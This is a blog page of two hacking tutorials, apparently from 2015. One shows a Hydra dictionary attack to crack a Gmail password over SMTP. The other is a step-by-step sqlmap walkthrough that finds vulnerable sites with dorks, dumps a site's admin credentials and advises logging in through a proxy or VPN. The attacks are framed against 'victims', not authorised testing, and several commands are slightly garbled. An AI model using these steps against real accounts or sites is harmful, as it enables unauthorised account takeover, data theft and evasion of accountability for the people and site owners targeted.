Showing posts with label Linux trick. Show all posts
Showing posts with label Linux trick. Show all posts

Thursday, January 8, 2015

Hydra (Brute Force Attack) to Hack any E-mail Password !

A password attack that does not attempt to decrypt any information, but continue to try different passwords. For example, a brute-force attack may have a dictionary of all words or a listing of commonly used passwords. To gain access to an account using a brute-force attack, a program tries all available words it has to gain access to the account. Another type of brute-force attack is a program that runs through all letters or letters and numbers until it gets a match. 



How to do Brute force or (Dictionary Attack)
So here we are going to use Backtrack 5, Hydra Attack. I will use fake G-mail a/c for this tutorial


Requirements.
  • Backtrack 4 or 5 with Internet connection
  • Password.txt file (That contains Possible passwords)    
  • Brain.

I took fake ID of G-mail (hackerseven5@gmail.com) as my victim it's password is '521478963', and Suppose i know the possibilities of password so, I will make password.txt file to do brute force attack like this >


Now it's time to start attack using Hydra gtk.
Go to > Application > Backtrack > Privilege Escalation > Password Attacks > Online Attacks > hydra-gtk.



Fill all info on hydra-gtk like this way :-

* Single Target  = smtp.gmail.com
* Port          =    465 
* Protocol    =    smtp
* mark        =   Use SSl, Be Verbose, Show Attempts


After setting your Target, go on Password tab >

Fill all info in this way !!

* Username       =  G-mail  ID (hackerseven5@gmail.com)
* Password list   =    upload your possibilites password file 
(save your password.txt file on desktop)




After all go to > Start Tab and Clik on Start.
So, your Brute Force Attack has been started :-
After all it will try Brute force attack using every password and try to login  
with possibilities password, if you were lucky !! then it will show successful message like this.


SQL Injection Using SqlMap (Backtrack 5 R3)

Sqlmap Is An Automated Pen Testing Tool. That Automates The Process Of Detecting And Exploiting SQL Injection Flaws And Taking Over Of Databases. It Comes With A Powerful Detection Engine, Many Niche features For The Ultimate Pen Tester And A Broad Range Of Switchs Lasting From Database Fingerprinting. Over Data Fetching From The Database. This Tool Is Best For Beginners. Who Just Now Entered In Security Field. It Is Easy To Use Tool. This Tool Makes SQL Injection Easy As Compared To Manual SQL Injection.
Follow these simple steps to hack website using backtrack 5 sqlmap tool.

1. Open your backtrack terminal and type cd /pentest/database/sqlmap and hit enter. Now sqlmap is open in your terminal




2. Now find the vulnerable site. (well I already have vulnerable site). You can search for vulnerable sites using Dorks. Google it!

3. Now type this command in the terminal and hit enter.
python sqlmap.py -u http://yourvictim’slink/index.php?id=4 –dbs 

 4. Now you will get the database name of the website




Well I got the two database aj and information_schema we will select aj database.
5. Now get the tables of that database. for that you need to enter this command into your terminal and simply hit Enter.
python sqlmap.py -u http://yourvictim’slink/index.php?id=4 -D  (database name) –tables
6. Now we need to grab the tables from the aj database. paste this command bellow command and hit enter.
python sqlmap.py -u http://www.yourvictim’slink.com/index.php?id=4 -D aj –tables

7. Now you will get the tables list which is stored in aj database.




8. Now lets grab the columns from the admin table
python sqlmap.py -u http://www.yourvictim’slink.com/index.php?id=4 -T admin –columns

 Now we got the columns and we got username and password
9. Now lets grab the passwords of the admin
python sqlmap.py -u http://www.yourvictim’slink.com/index.php?id=4 -T admin -U test –dump
 Now we got the username and the password of the website !


Now just find the admin panel of the website and use proxy/vpn when you are trying to login in the website as a admin